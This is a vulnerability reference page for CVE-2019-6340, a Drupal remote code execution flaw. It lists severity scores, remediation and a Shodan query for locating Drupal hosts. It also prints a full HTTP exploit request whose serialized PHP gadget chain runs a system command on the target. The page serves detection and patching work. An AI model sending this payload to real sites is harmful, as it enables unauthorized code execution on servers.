🔙 목록으로 돌아가기

CVE-2019-6340: Drupal - Remote Code Execution

TitleDrupal - Remote Code Execution
Authormadrobot
SeverityHigh
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected Drupal site.
RemediationApply the official security patch provided by Drupal to fix the deserialization vulnerability.
CVSS Score8.1
EPSS Score0.94436
CVE IDCVE-2019-6340
CWE IDCWE-502
Shodan Queryhttp.component:"drupal"cpe:"cpe:2.3:a:drupal:drupal"
Tags cve cve2019 drupal rce kev vkev vuln

🔍 Vulnerability Description

Drupal 8.5.x before 8.5.11 and Drupal 8.6.x before 8.6.10 V contain certain field types that do not properly sanitize data from non-form sources, which can lead to arbitrary PHP code execution in some cases.

🌐 HTTP Request

POST /node/1?_format=hal_json HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 108) AppleWebKit/536.15 (KHTML like Gecko) Version/6.0 Safari/536.16
Connection: close
Content-Length: 588
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

{ "link": [ { "value": "link", "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}" } ], "_links": { "type": { "href": "http://192.168.1.25/drupal-8.6.9/rest/type/shortcut/default" } } }

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-6340.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-6340.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A